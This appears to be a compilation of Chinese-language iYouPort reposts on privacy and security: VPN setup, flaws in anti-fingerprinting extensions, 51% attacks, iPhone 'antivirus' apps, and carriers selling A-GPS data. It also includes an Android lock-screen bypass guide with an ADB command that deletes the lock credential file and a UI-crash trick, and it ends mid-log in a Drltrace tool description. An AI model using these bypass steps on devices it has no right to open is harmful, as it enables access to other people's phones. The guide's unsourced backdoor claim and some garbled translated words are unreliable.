仅此功能就是一项很大的改进。其他协议允许您与 VPN 服务器“按需”建立连接，但每次网络状态更改时，重新激活 VPN 连接通常都需要至少几秒钟。WireGuard 团队表示 iOS 版应用程序仍处于测试阶段，但它足够稳定。安装应用程序后，您可以通过扫描服务器的 QR 码以添加 VPN 配置。

如果您想亲自试用 WireGuard，建议您使用 Algo VPN 构建自己的 VPN 服务器。不要相信任何付费和免费的 VPN 服务公司。 VPN 公司可以在自己的服务器上看到您的所有互联网流量，这是一个很大的安全风险。这些公司可以分析您的浏览习惯，将其出售给广告商，在非安全页面上注入自己的广告或窃取您的身份。最糟糕的是，他们可以向当局提供大量有关您的隐私数据。

除了 IKEv2 之外，Algo VPN 现在也支持 WireGuard了。

Algo VPN 可在任何 Ubuntu 服务器上运行，但托管服务器的最简单方法是在 DigitalOcean 上创建一个帐户。之后，您需要下载一个 zip 文件并按照说明操作。

设置完成后，您的硬盘驱动器上应该有一个新文件夹，其中包含连接到 VPN 服务器所需的一切。如果您使用的是 Mac，则可以双击 .mobileconfig 使用 IKEv2 从 Mac 连接到 VPN 服务器。

如果你想尝试 WireGuard，你需要一台运行 macOS 或 Linux 或 Android 的设备。使用 WireGuard 最简单的方法是安装 Android 应用程序并将 .conf 文件添加到手机中。

在 Mac 上，您需要使用 Homebrew（brew install wireguard-tools）安装 WireGuard 。然后，您可以将 myvpnserver.conf 文件移动到/etc/wireguard/ 硬盘驱动器上，并使用简单的命令行（“ wg-quick up myvpnserver”和“ wg-quick down myvpnserver”）进行连接。

「图」

「图」

还可以跳过终端窗口。在 macOS 上，您可以使用“脚本编辑器”应用程序创建 AppleScript，并通过启用设置中的菜单栏选项将其放在菜单栏中。

「图」

「图」

此设置提供了与商用 VPN 相同的便利性，但具有更稳定的 VPN 连接。

WireGuard is a new VPN protocol that promises to be faster and more secure at the same time. And you can now connect to a WireGuard server on iOS thanks to the official open-source app.

原文

旨在对抗指纹追踪的扩展程序如何令指纹追踪变得更容易了 - iyouport

技术-攻击防御和反抗

本文探讨了现有的隐私保护扩展程序的缺陷

【注】本文的作者是安全研究人士 Wladimir Palant，它探讨了现有的隐私保护扩展程序的缺陷。这是个重要的问题。如果您想到了更好的解决方案，欢迎联系我们。

您的浏览器中是否安装了隐私保护扩展程序？有很多这类扩展程序，每个安全厂商都在推广自己的产品。通常情况下，这些东西会提供一个名为“反指纹追踪”或“指纹追踪保护”的功能，理论上它应该使您在网络上的身份可识别性降低。而您不会注意到的是：这个功能几乎都是有缺陷的，有可能反而让指纹追踪变得更容易了。

我见过很多扩展错误地声称了这个功能，但我却很少去写报告。要充分解释这个问题有点费劲。另一方面，很明显，对于大多数厂商来说，隐私保护只是他们可以放在功能列表上的一个噱头。质量并不重要，因为没有用户能够判断他们的解决方案是否真的有效。在可用资源极少的情况下，我的问题报告不太可能引起有意义的行动。

这就是为什么我决定在一篇博文中解释这些问题，下一次我遇到浏览器扩展程序遭受所有相同的缺陷时，我可以把这篇文章的链接发给他们。也许有些厂商就会解决这些问题。或者，更好的是，一开始就不犯这些错误。

指纹追踪的工作原理

「图」

当您浏览网页时，您不仅仅是在与您所访问的网站互动，还在与众多第三方互动。其中许多人对在不同网站上可靠地识别您有巨大的兴趣，例如广告商希望“个性化”给您的广告。传统的方法是在您的浏

览器中存储一个cookie，其中包含您的唯一标识符。然而，现代浏览器有一个非常值得推荐的设置，即 在浏览会话结束时清除cookie。还有一种私密浏览模式，在这种模式下，不会永久地存储任何Cookie。预计很快会对第三方cookie实施进一步的技术限制，欧盟的数据保护规则也使存储cookie变得复杂，至少可以说是如此。

所以 Cookie 越来越不靠谱了。指纹追踪应该是解决这个问题，通过识别个人用户，而不在用户端存储任何数据。它的想法是查看浏览器无论如何都会提供的有关用户系统的数据，例如显示分辨率。数据是什么并不重要，重要的是：

- 足够稳定，最好几个月不变
- 特征性强，一小部分人所独有的

请注意，没有任何数据点需要单独确定一个人。如果每一个数据点都指的是不同的人群，那么只要有足够多的数据点，所有这些人群的交叉点将永远是一个人。

反指纹追踪应该如何操作？

「图」

反指纹追踪的目标是减少可用于指纹识别的数据的数量和质量。例如，CSS曾经允许识别用户以前访问过的网站 —— 这是一个设计上的缺陷，可以用于指纹识别等。虽然花了不少时间和精力，但最终浏览器们还是找到了一个不会破坏网页的修复方法。如今，这个数据点已经不再对网站开放。

其他数据点依然存在，但已经被大大化解。例如，浏览器为网站提供了一个用户代理字符串，使这些网站知道例如他们正在处理的是哪个浏览器品牌和版本。用户安装的应用程序用自己的标识符来扩展这个用户代理字符串。最终，浏览器供应商认识到这可能被滥用于指纹识别，并决定删除任何第三方添加的信息。这里原来的许多其他信息也被删除了，所以今天任何用户代理字符串通常是一大群人的共同信息。

攻击错了目标

「图」

浏览器厂商已经在反指纹追踪方面投入了大量的工作。不过，他们通

常只限于不会破坏现有网站的措施。而像显示分辨率(不像窗口大小)这样的东西并没有被太多的网站所考虑，但这些显然已经足够了，浏览器仍然会给他们提供用户的显示分辨率和可用空间(通常显示分辨率不包括任务栏)。

而隐私保护扩展则没有表现出那么多的关注。所以他们一般会做这样的事：

```
screen.width = 1280;

screen.height = 1024;
```

网站现在将看到每个人都是相同的显示分辨率对吗？好吧，除非网站这样做：

```
delete screen.width;

delete screen.height;
```

突然间 screen.width 和 screen.height 恢复到了原来的值。指纹追踪现在可以使用两个数据点而不是一个数据点：不仅仅是真实的显示器分辨率，还有假的。即使那个假的显示器分辨率极其普通，也会让指纹追踪稍微精确一些。

这是魔术吗？不是，只是 JavaScript 原型的工作原理。这些属性并不是定义在屏幕对象本身，而是对象原型的一部分。所以那个隐私扩展为原型的属性添加了一个重写。删除了重写后，原来的属性又变得可见了。

那么这样的做法正确吗？

```
//Object//.defineProperty(Screen.prototype,
"width", {value: 1280});

//Object//.defineProperty(Screen.prototype,
"height", {value: 1024});
```

好多了。网站不再能轻易地检索到原始值。但是，它可以通过调用 Object.getOwnPropertyDescriptor(Screen.prototype, “width”) 来检测该值是否被操纵。通常情况下，生成的属性描述符会包含一个 getter，然而这个属性描述符有一个静态值。而事实上，一个隐私扩展程序在捣鼓这些值，又是一个可用的数据点。

让我们在不改变属性描述符的情况下尝试一下：

```
Object.defineProperty(Screen.prototype, "width",
{get: () =」 1280});

Object.defineProperty(Screen.prototype, "height",
{get: () =」 1024});
```

差不多了。但是现在网站可以调用 Object.getOwnPropertyDescriptor(Screen.prototype, “width”).get.toString() 来查看我们getter的源码。同样是一个数据点，可以用来做指纹识别。源码需要隐藏：

```
Object.defineProperty(Screen.prototype, "width",
{get: (() =」 1280).bind(null)});

Object.defineProperty(Screen.prototype, "height",
{get: (() =」 1024).bind(null)});
```

这个 bind() 调用确保 getter 看起来像一个本地函数。这正是我们所需要的。

Firefox 允许内容脚本调用 exportFunction()，这是一个更好的方法。尤其是，它不需要在网页上下文中注入任何代码。不幸的是，这个功能在基于 Chromium 的浏览器中是不可用的。

捕捉所有这些讨厌的框架

「图」

这里有一个复杂的问题：一个网站不仅仅有一个JavaScript执行上下文，它的每个框架都有一个。所以您必须确保您的内容脚本能在所有这些框架中运行。所以浏览器扩展通常会在其 manifest 中指定 “all_frames”: true。这是对的。但是，网站就会做这样的事：

```
var frame = document.createElement("iframe");

document.body.appendChild(frame);

console.log(screen.width,
frame.contentWindow.screen.width);
```

为什么这个新创建的框架还在报告原来的显示宽度？我们又回到了原点：网站又有了两个数据点，而不是一个。

这里的问题是：如果没有设置框架位置，默认是加载特殊页面about:blank。当Chrome开发者最初创建他们的扩展API时，他们没有给扩展提供任何方法来运行这里的内容脚本。幸运的是，现在这个漏洞已经被堵上了，但扩展清单也必须设置为 “match_about_blank”: true

时机问题

「图」

由于浏览器扩展中的防指纹追踪功能具有相当大的侵入性，容易破坏网站。所以让用户在特定的网站上禁用这个功能是很重要的。这就是为什么您会经常在扩展内容脚本中看到这样的代码：

```
chrome.runtime.sendMessage("AmIEnabled",
function(enabled)

{

if (enabled)

init();

});
```

因此，这个内容脚本不是立即初始化所有的防指纹措施，而是先等待扩展的后台页面告诉它是否真的应该做什么。这给了网站必要的时间来存储所有相关的值，在它被更改之前。网站甚至可以稍后再来检查被更改后的值—— 再次强调，两个数据点比一个好。

这是Chrome浏览器扩展架构的一个重要局限性，很遗憾，这也是当今所有浏览器所共有的。可以在任何网页脚本运行之前运行一个内容脚本 (“run_at”: “document_start”)。然而这将只是一个静态脚本，不知道任何扩展状态。而且请求扩展状态需要时间。

这可能最终会通过动态内容脚本支持得到解决，这是十年前就提出的要求。然而与此同时，似乎唯一可行的解决方案是立即初始化反指纹追踪。如果扩展后来说 “不，你被禁用了”—— 好吧，那么内容脚本就只能撤销所有的操作了。但这种方法可以确保在普通情况下（功能

已启用的情况下）网站不会看到相同数据的两个变体。

伪造的艺术

「图」

比方说，所有的技术问题都解决了。安装假值的机制完美无缺。这还是有一个问题：如何选择“合适”的假值？

随机选择一个值呢？我的显示分辨率是1661×3351，指纹识别并不依赖于有意义的数据，它需要的是稳定且足够独特的数据。而这个显示分辨率无疑是极其独特的。现在人们可以想出方案来定期改变这个数值，但事实是：让用户脱颖而出并不是正确的方式。

您更希望的是找到一个最大的群体，然后加入其中。我的显示分辨率是1920×1080—— 就是常见的全高清，没啥好看的。想知道我的可用显示空间吗？我的Windows任务栏在底部，和大家一样。不，我也没有调整它的大小。我只是普通人。

这种方法唯一的麻烦是：必须定期重新评估数值。20年前，1024×768是最常见的显示分辨率，也是防指纹追踪的好选择。而今天，如果有人宣称自己的屏幕尺寸是这样的，肯定会引人注目。同样，在网站日志中，声称使用Firefox 48的访问者也会很突出：几年前，它可能是一个常见的浏览器版本，但今天通常是仅仅假装成网站访问者的机器人。○

How anti-fingerprinting extensions tend to make fingerprinting easier

原文

曾经令区块链恐惧的 51% 算力攻击现在已经越来越常见 - iYouPort

技术-攻击防御和反抗

在过去的一个月里，至少有五种加密货币遭受了攻击，然而在此之前这种攻击更多的是停留在理论上。在每一个案例中，攻击者都能够积聚足够的算力，攻破较小的网络，重新安排交易，盗取数百万美元潜逃。这种攻击跟银行抢劫差不多。

然而，更新人惊讶的是所谓的51%的算力攻击实际上可能是众所周知的、危险的加密货币攻击载体。

虽然过去曾有过这样的攻击成功的例子，但它们并没有那么普遍。这种攻击成功的案例太少，以至于很多科技专家认为，某些大型区块链上的矿工永远不会成为这种攻击的受害者。因为这种攻击花费太高了，从里面根本捞不到什么钱。

但是现在看起来情况已经变了。

去年纽约大学计算机科学研究员 Joseph Bonneau 进行了一项研究。这项研究的 nudity 是调查在没有购买全部设备、仅通过电力租借对顶级区块链进行攻击的情况下要花费多少钱。

他的结论是什么呢?那就是这种攻击以后会越来越多。结果证明，他对了。

“在社区，一般都认为这种威胁离他们还很遥远。而我认为这种攻击很近并且一直在试图警告他们这种风险。虽然我认为还不会那么快就发生。”

内部攻击

回过头去看，加密货币旨在解决计算机科学中一直存在的双花问题。

从本质上讲，如果推动计算机监控和防止不良行为，消息网络就无法充当货币系统。简而言之，他们不能阻止某人一次性花费5到 1000

次相同的数据（依靠第三方做这些工作除外）。

这就是他们工作的全部原因。因为矿工们（这里指的是运行区块链软件所必需的机器）消耗电力，并确保没有人的钱被偷。

要利用这个攻击载体来赚钱，黑客需要一些东西才能到位。首先黑客在得到大部分哈希能力的时并不能做任何想做的事，但在一定条件下可以实现双花交易。

如果把这些昂贵的哈希算力都用在3美元一杯咖啡的交易上是没有任何意义的。只有成功盗取成千上百万美元，黑客们才算收益。

正因为如此，黑客们找到了各种聪明的办法来确保这些条件能让他们赚到更多的钱。这就是萌奈币，比特币黄金，zencash，莱特币现金的黑客会把目光放在持有大量加密货币的交易所上的原因。

通过积累一半以上的哈希算力，黑客可以双重花费在交易所进行的两笔非常昂贵的交易。

黑客对 zencash 进行了三次较为成功的攻击，并由此盗窃了21000枚价值50万美元的 zencash。

因为攻击者会利用不同的攻击网络安全漏洞盗取钱财，所以这些攻击有所不同。但是很明显，攻击目标是边缘的协议层。研究人员正在讨论黑客是否在技术上构成了51%的算力攻击。

小型加密货币更危险

那既然这种攻击在很长时间内都不多见，那为什么这种攻击出现了爆发式的增长呢？

关于这一问题，研究人员并没有给出一个明确的答复。但是，有许多因素可能促成了这一结果。例如，那些较小的加密货币会被攻击。而这类攻击就不是巧合。由于他们吸引的矿商较少，因此购买（或租用）建立较大份额网络所需的计算能力会比较容易。

zencash 共同创造者 Rob Viglione 认为矿业市场的兴起之后，用户可以轻而易举的租借挖矿硬件，根本用不着购买，设立并运行这些硬件，所以会使得攻击更容易。因为攻击者可以无需花费时间或金钱来建立自己的矿工就可以获得大量挖矿能力。

此外市场上积累的哈希算力越高，这种攻击就越容易发生。“黑客们

现在意识到，它可以被用来攻击网络，”他说。

作为一个数据点，有人甚至建立了一个网站 Crypoto51 以显示 51%的人在一个矿业市场攻击各种各样的区块链是多么的昂贵。举一个例子，攻击百特币使用中的租借算力要花费719美元。

康奈尔大学教授 Emin Gün Sirer 发推特说：“如果你的资产是加密货币，而攻击它每天的花费又不超过一百万美元，那你就要考虑一下你在做什么了”。

另一方面，比特币和以太坊等更大的加密货币很难达到51%的算力攻击，因为它们的规模要大得多，需要比 NiceHash 更大的哈希算力。“比特币太大了，没有足够的比特币挖掘能力能完成攻击，”邦诺告诉 CoinDesk。

尽管 Crypto51 给出了一个粗略的估计，但是苏黎世以太坊研究员 Arthur Gervais 对此持保留态度，因为 Crypto51 的估计忽略了购买硬件和软件的初始成本，“因此我认为这个结果过于简单化了。”

Gervais 进一步认为，把这些攻击放到环境中看待是值得的。尽管51%的算力攻击可能在加密货币里的攻击是最著名的，但这并不一定是他认为的最糟糕的攻击。

他指出了其他恶意的漏洞，比如在 zcoin 中发现的一个漏洞，如果被利用，用户就可以像他们希望的那样打印出尽可能多的 zcoin。但51%的算力攻击仍然令人不安，因为一旦发生就会影响交易所和或者垂涎不止的黑客。

Viglione 就 zencash 阻止算力攻击做出的努力说“作为一个行业，我们必须要杜绝这种风险”。

不管是哪种方式，用户或交易所确保他们不被诈骗的一种方式是只接受较旧的资金，或执行更多的“确认”步骤。在51%的算力攻击中，确认越多，资金越难窃取。

最初，比特币被盗的交易只需要5个确认，而攻击者就可以用他们的哈希算力来逆转所有这些交易。

作为对袭击事件的回应，他们将确认的数量增加到50次，至少目前已经成功地堵住了这些攻击。

正因为如此，开发人员和研究人员认为，更大的区块链更安全，因为

它们需要更少的确认。

正如比特币投资者John Light所言：“下次如果有人告诉你他们用的是山寨币，记住那是因为山寨币更容易被利用”。〇

原文

最好的 iPhone 杀毒软件是什么？不，并不存在这种东西 - iYouPort

技术-攻击防御和反抗

您的 iPhone 或 iPad 不需要防病毒软件。事实上，你看到为 iPhone 公布的任何“反病毒”应用都不是防病毒软件。它们只是“安全”程序，实际上并不能保护您免受恶意软件的侵害。

「图」

「图」

iPhone 没有真正的防病毒应用程序

针对 Windows 或 macOS 的传统防病毒应用程序可以完全访问您的操作系统，并使用该访问来扫描您的应用程序和文件，以确保没有恶意软件正在运行。

您在 iPhone 上安装的任何应用程序都在沙盒中运行，这限制了他们可以执行的操作。应用只能访问您授予其访问权限的数据。换句话说，iPhone 上的应用程序无法窥探您在网上银行应用程序中的操作。例如，他们可以访问您的照片 – 但前提是您允许他们访问您的照片。

在 Apple 的 iOS 操作系统上，您安装的任何“安全”应用程序都必须与所有其他应用程序在同一个沙盒中运行。他们甚至无法看到从 App Store 安装的应用程序列表，更不用说扫描设备上的任何恶意软件。即使您的 iPhone 上安装了名为“Dangerous Virus”的应用程序，这些 iPhone 安全应用程序也无法看到它。

这就是为什么我们从未见过 iPhone 安全应用程序阻止了恶意软件感染 iPhone。如果真的存在，我们确信这些安全应用程序制造商会鼓吹 – 但他们从没这样做，因为他们做不到。

当然，iPhone 有时会有安全缺陷，比如 Spectre。但是这些问题只能通过快速安全更新来解决，最重要的是安装安全应用程序也无法保护

您。只需使用最新版本的iOS更新iPhone即可。

iPhone 如何保护你

「图」

「图」

您的 iPhone 已经集成了一系列安全功能。它只能从 Apple 的 App Store 安装应用程序，而Apple 会在将应用程序添加到应用商店之前检查这些应用程序中的恶意软件和其他不良内容。如果稍后在 App Store 中发现恶意软件，Apple 可以将其从商店中删除，并让您的 iPhone 立即删除应用程序以确保安全。

iPhone 具有内置的“查找我的 iPhone”功能，可通过 iCloud 工作，允许远程定位，锁定或清除丢失或被盗的 iPhone。您不需要具有“防盗”功能的特殊安全应用程序。要查看是否启用了查找我的 iPhone，请前往设置，点击屏幕顶部的名称，然后点击iCloud」查找我的 iPhone。

iPhone 上的 Safari 浏览器具有“欺诈网站警告”功能，也称为反网络钓鱼过滤器。如果你点击了虚假网站，会看到一条警告。要检查此功能是否启用，请前往设置 」 Safari 并在隐私和安全下查找“欺诈网站警告”选项。

这些移动安全应用的功能是什么？

考虑到这些应用程序不能用作防病毒软件，您可能想知道它们究竟做了什么。那么，他们的名字就是一个线索：这些程序被命名为“Avira Mobile Security”，“Norton Mobile Security,” 和 “Lookout Mobile Security.”

iPhone 安全应用程序通常包含无法抵御恶意软件的功能，例如可让您远程定位手机的防盗功能 – 就像 iCloud 一样。一些包括“media vault”工具，可以使用密码在手机上隐藏照片。还包括密码管理员，呼叫拦截器和 VPN，您可以在其他应用中使用这些密码管理器。有些应用程序可能会提供带有自己的网页仿冒过滤器的“安全浏览器”，但这些应用程序的工作方式与已经内置于 Safari 中的相似。

其中一些应用程序有身份盗窃警告，连接到在线服务，如果您的数据已泄露它就会发出警告。但是，您可以使用“我是否已被攻击 Have I been pwned? ”在没有这些应用程序的情况下将泄漏通知发送到您的

电子邮件。除了免费的信用报告信息之外，Credit Karma 还提供免费的违规通知。

这些应用程序确实执行一些与安全相关的功能，这就是为什么苹果允许他们进入 App Store 的原因。但它们不是“防病毒”或“反恶意软件”应用程序，它们不是必需的。

不要越狱

注意：以上所有这些建议都是在假设你不会越狱 **iPhone** 的情况下才成立的。越狱可让 iPhone 上的应用程序在正常安全沙盒外运行。它还允许您从 App Store 外部安装应用程序，这意味着 Apple 不会检查这些应用程序是否存在恶意行为。

像 Apple 一样，我们建议您不要越狱 iPhone。苹果公司也开始与越狱作斗争，随着时间的推移，他们越来越困难。

假设你使用的是越狱版 iPhone，理论上使用某种防病毒程序是有意义的。在普通沙盒分解的情况下，防病毒程序理论上可以扫描您越狱后安装的恶意软件。但是，此类反恶意软件应用程序需要使用不良应用程序的定义文件才能运行。

我们不知道任何针对越狱 iPhone 的防病毒应用程序，尽管理论上可以创建。

再说一遍：您的 iPhone 不需要防病毒软件。事实上，iPhone 和 iPad 的防病毒软件是不存在的。此外， **Snowden** 告诉我们：**The underlying platform has back doors,** 苹果系统的底层平台有后门，你的隐私信息很可能被掌握在情报部门手里，并很可能被骇客利用。

原文

比GPS更准确地定位你 - iYouPort

技术-攻击防御和反抗

有一种方法可以比GPS更准确地定位你，而且这一定位数据正在被运营商使用私下卖给出价最高的人

正如主板调查显示的那样，蜂窝运营商经常在个人用户蜂窝位置数据的海洋上徘徊，将这些宝贵的数据出售给任何出价高的公司，这其间几乎没有任何有意义的监督。除了直接从手机信号塔收集的位置数据外，一项新的主板调查还显示，手机运营商也一直在向数据经纪人、赏金猎人和相关企业提供 A-GPS 数据。

A-GPS 数据有助于加快传统 GPS 技术的首次定位时间（TTFF），使得确定用户或设备的位置比单独使用 GPS 更快更准确。在传统卫星信号较弱或存在明显干扰的情况下，也可以使用 A-GPS。

这被证明在无线技术中特别有用。在2007年的报告和命令中，FCC 强制要求蜂窝电话运营商提供紧急呼叫调度员可用的手机位置数据。

CTIA（无线行业的主要政策和游说组织）提交的政府文件显示，A-GPS 技术能够在50米范围内的任何地方确定设备或用户的位置。使用 MAC 地址和蓝牙公共设备地址（BT-PDA）数据可以帮助更精确地确定用户的位置。

必须警惕的是，这种在细微的细节内跟踪用户的能力清楚地提示了蜂窝运营商—以及一群阴暗的中间人—这是另一个诱人的收入来源。正如 Motherboard 早前的调查所指出的那样，这些数据已经被未授权访问它的赏金猎人所使用。

鉴于美国联邦通信委员会已经制定了具体规则来防止这种情况发生，主板的调查结果尤其令人不安。

2015年，美国联邦通信委员会发布了收集911相关数据的规则，并为遵守这些准则的行业“路线图”奠定了基础。规则声明此类敏感数据应在国家紧急地址数据库（NEAD）中收集和保护，不得用于（或出

售）除911服务或其他有效的法律目的之外的任何其他目的。

同年，ACLU，EFF 和 Public Knowledge 等消费者团体联盟在一封公开信中特别警告 FCC，需要解决这种精确位置数据收集的潜在隐私后果。

“开发出符合新规定的高精度定位技术将引发一系列的隐私问题，这些问题在E911程序中尚未得到充分解决，”该组织表示。“公共安全不应以牺牲消费者隐私为代价—也不应该出现这类问题。”

美国联邦通信委员会表示，“除非法律要求，否则提供商必须证明他们不会将 NEAD 或相关数据用于除响应911电话之外的任何其他目的。”

但是，主板对收集和销售 A-GPS 数据的调查发现，用户 A-GPS 数据最近于2017年被出售给了第三方。主板咨询的多名法律专家证实，联邦通信委员会有充分的权力惩罚运营商和数据经纪人，他们试图从这些数据中获利。

“美国联邦通信委员会有能力对 CPNI（用户专有网络信息）违规行为处以罚款，”Public Knowledge 的 Dylan Gilbert 在一封电子邮件中告诉 Motherboard。

“正如2017年11月的订单所述，该计划承诺个人提交给 NEAD 数据库的信息将不会被分享，除非法律要求，因此，这似乎明显违反了联邦通信委员会在2015年批准 NEAD 和一般高级911任务时所要求的内容。”

“隐私专家 Guarav Laroia 告诉 Motherboard，这些公司正在促进向赏金猎人出售位置信息，这是不合情理的。“调查航空公司在这方面的作用完全属于联邦通信委员会的范围，如果委员会不认真对待这些问题，委员会的法定职责就会失败。”

What A-GPS Data Is (and Why Wireless Carriers Most Definitely Shouldn’t Be Selling It) A Motherboard investigation found that telecom companies are selling their customers’ “assisted GPS” data, which is intended for first responders answering 911 calls.

原文

警告：绕过 Android 安全锁屏的方法有很多 - iYouPort

技术-攻击防御和反抗

如果您以某种方式忘记了锁定 Android 设备的模式、PIN或密码，您可能会认为自己运气不好并注定永远被锁定。

或者你的设备被警察抢走了，而你觉得自己能扛得住酷刑不必交出密码就能获得安全。

这都不可能。

因为，在许多情况下，闯入锁定设备并不难做到。

有多种不同的方法可以破解锁定的Android智能手机或平板电脑，但没有哪种方法比密码破解 USB 棒更简单了。

本文将介绍7种最有效的破解方法；在没有USB的情况下。

第一种：使用 **Google** 的“查找我的设备”功能

对于大多数 Android 手机和平板电脑，都有“查找我的设备”的内置服务。

只要您登录自己的 Google 帐户，就可以使用任何设备或计算机访问此链接提供的服务。

测试中我们注意到这个方法在 Android 8.0 或更高版本上不起作用。但只要您的手机运行 Android 7.1.1 Nougat 或更低，它就可以解决问题。

一旦使用“查找我的设备”在您的手机上获得了修复，请先单击“锁定”按钮。

如果该服务在查找设备时遇到问题，请单击刷新按钮几次，如果您的手机兼容，则应在5次左右的尝试中建立连接。

「图」

「图」

单击“锁定”按钮后，系统将提示您输入新密码，该密码将替换您忘记的模式、PIN或密码。

输入两次新密码以确认您的选择，然后单击“锁定”按钮。

「图」

「图」

密码最多可能需要5分钟才能切换。

第二种：使用三星的“查找我的手机”服务

如果您有三星设备，那么可以使用名为“查找我的手机”的类似服务。

首先从任何 Web 浏览器前往此链接，然后登录到您的 Samsung 帐户。

如果您从未设置过三星帐户，那么此方法将无法运行。此外，一些运营商，如 Sprint，锁定了这项服务。

登录 Samsung 帐户后，单击左侧窗格中的“锁定我的屏幕”按钮。

在此处，在第一个字段中输入新的 PIN，然后单击屏幕底部附近的“锁定”按钮。

在一两分钟内，您的锁屏密码应更改为您刚刚输入的 PIN，您可以使用它来解锁设备。

「图」

「图」

第三种：使用“遗忘模式”功能

如果您的设备运行的是 Android 4.4或更低版本，请尝试使用“遗忘模式”功能。

在5次尝试解锁失败后，您会看到一条消息“30秒后再试一次”。

显示此消息时，点击屏幕底部显示“遗忘模式”的按钮。

「图」

「图」

在此处，选择“输入 Google 帐户详细信息”（根据您的设备，您可以直接转到此选项），然后输入您的主要 Gmail 帐户和密码。

Google 会向您发送包含解锁图案的电子邮件，或者您可以随时更改。

「图」

「图」

第四种：执行出厂重置

如果您更关心的是进入手机而不是保留存储在手机上的任何数据，那么出厂重置应该适用于许多情况。

但由于新的防盗功能称为出厂重置保护，如果手机在2016年或之后出厂，您需要知道自己的 Google 帐户密码才能使用此方法。

此过程将根据您的设备类型而有所不同，但对于大多数手机，请先关闭设备电源。

当屏幕变黑时，同时按住音量和电源按钮，这将打开 Android 的引导程序菜单。

在此处，按两次音量降低按钮以突出显示“恢复模式”选项，然后按电源按钮将其选中。

「图」

「图」

接下来，按住电源按钮并点击音量增大按钮一次，然后您的手机应进入恢复模式。

在此处，使用音量按钮突出显示“擦除数据/恢复出厂设置”选项，然后按电源按钮将其选中。

完成此过程后，选择“立即重新启动系统”选项，手机就打开了。

「图」

「图」

如果是较新的手机，系统会提示您使用 Google 帐户和密码登录。

此时只需重新登录您的 Google 帐户即可重新获得对手机的访问权限。

第五种：使用**ADB**删除密码文件

这种方法仅在您之前已在手机上启用USB调试时才有效；并且，只有在您允许使用的计算机通过 ADB 连接时，它才会起作用。

但如果您满足这些要求，这种方法是解锁设备的完美方式。

请注意，默认情况下启用加密的模型可能与此方法不兼容。

首先使用 USB 数据线将手机连接到计算机，然后在ADB安装目录中打开命令提示符窗口。在此处，键入以下命令，然后按Enter键。

- **adb shell rm /data/system/gesture.key**

「图」

「图」

接下来，重新启动手机，安全锁屏已经消失。

但这只是暂时的，因此请确保立即设置新模式、PIN或密码。

第六种：启动到安全模式以绕过第三方锁屏

如果您试图绕过的锁屏是第三方应用程序，则启动到安全模式是最简单的方法。

对于大多数手机，您可以通过从锁定屏幕调出电源菜单，然后长按“关闭电源”选项启动到安全模式。

选择“确定”，当此过程完成时，您的第三方锁屏应用将暂时禁用。

「图」

「图」

从这里，只需清除第三方锁屏应用上的数据或将其卸载，然后重新启动手机即可退出锁定模式。

第七种：崩溃锁屏**UI**

最后，如果您的设备已加密并运行 Android 5.0–5.1.1，也有办法可以绕过密码锁屏。

首先，点击锁定屏幕上的“紧急呼叫”选项，然后使用拨号程序界面输入10个星号。

在此处，双击该字段以突出显示输入的文本并选择“复制”，然后将其粘贴到同一字段中，以使输入字符的数量加倍。

一直重复此复制和粘贴的相同过程，以添加更多字符，直到双击该字段不再能突出显示字符。

「图」

「图」

接下来，返回锁定屏幕并打开相机快捷方式。在此处，下拉通知帘并点击“设置”图标，系统将提示您输入密码。

长按输入字段并选择“粘贴”，然后再重复此过程多次。

最后您的锁定屏幕将崩溃，这将允许您访问手机的其余界面。

「图」

「图」

这是黑客常用的方法。

您知道任何绕过 Android 锁屏的其他方法吗？欢迎留言。

如果您的目标是避免被恶意解锁，那么需要了解上述解锁方法，并反用它们，以找到合适您所处的紧急状况的应对方法。〇

原文

适用于Windows和Linux应用程序的动态API调用跟踪器：Drltrace - iYouPort

技术-攻击防御和反抗

Drltrace是一个动态API调用跟踪器，主要用于恶意软件分析的**Windows**和**Linux**应用程序 .Drltrace构建于DynamoRIO动态二进制检测框架之上。发布版本可以在这里下载。

用法

drltrace的用法非常简单。用户需要通过以下方式指定日志目录和目标进程的名称：

```
drltrace -logdir . -- calc.exe
```

就是这样，该工具将在目标进程中注入所需的DLL，启动检测并且并行地记录有关在目标进程中执行的所有库调用的信息：

```
~~43600~~ msvcrt.dll!__wgetmainargs arg 0:
0x010d2364 arg 1: 0x010d2368 and return to module
id:0, offset:0x193a ~~43600~~ ntdll.dll!
EtwEventRegister arg 0: 0x002ff994 arg 1:
0x010d1490 and return to module id:0,
offset:0x157e ~~43600~~ ntdll.dll!
EtwEventSetInformation arg 0: 0x007b4b40 arg 1:
0x00000033 and return to module id:0,
offset:0x15a1 ~~43600~~ SHELL32.dll!ShellExecuteW
arg 0: &amp;lt;null&amp;gt;
(type=&amp;lt;unknown&amp;gt;, size=0x0) arg 1:
&amp;lt;null&amp;gt; (type=wchar_t*, size=0x0) arg
2: calculator:// (type=wchar_t*, size=0x0) arg 3:
&amp;lt;null&amp;gt; (type=wchar_t*, size=0x0) arg
4: &amp;lt;null&amp;gt; (type=wchar_t*, size=0x0)
arg 5: 0x1 (type=int, size=0x4) and return to
module id:0, offset:0x167d
```

输出的格式很简单，可以通过外部脚本轻松解析：

```
~~[thread id]~~ [dll name]![api call name] arg
[arg #]: [value] (type=[Windows type name],
size=[size of arg]) and return to module id:
[module unique id], offset:[offset in memory]
```

模块唯一标识符表打印在日志文件的末尾：

```
Module Table: version 3, count 70 Columns: id,
containing_id, start, end, entry, checksum,
timestamp, path 0, 0, 0x010d0000, 0x010da000,
0x010d1b80, 0x0000f752, 0xb5fe3575, C:\Windows
\SysWOW64\calc.exe 1, 1, 0x6d4c0000, 0x6d621000,
0x6d563940, 0x00136d65, 0x59ce1b0b, C:\Users\Max
\Downloads\drltrace\drltrace\dynamorio
\lib32\release\dynamorio.dll 2, 2, 0x73800000,
0x73975000, 0x7380dbf7, 0x00000000, 0x59ce1b0f, C:
\Users\Max\Downloads\drltrace\drltrace\bin
\release/drltracelib.dll 3, 3, 0x742f0000,
0x742fa000, 0x742f2a00, 0x0000c877, 0x0adc52c1, C:
\Windows\System32\CRYPTBASE.dll 4, 4, 0x74300000,
0x74320000, 0x7430c9b0, 0x0002c617, 0x245970b4, C:
\Windows\System32\SspiCli.dll 5, 5, 0x74410000,
0x74431000, 0x74416900, 0x0002a940, 0x88a53c1d, C:
\Windows\System32\GDI32.dll 6, 6, 0x74440000,
0x74500000, 0x7446fb20, 0x000cc410, 0xd343d532, C:
\Windows\System32\RPCRT4.dll 7, 7, 0x74500000,
0x74525000, 0x745047d0, 0x00026737, 0xa39c8991, C:
\Windows\System32\IMM32.DLL 8, 8, 0x74550000,
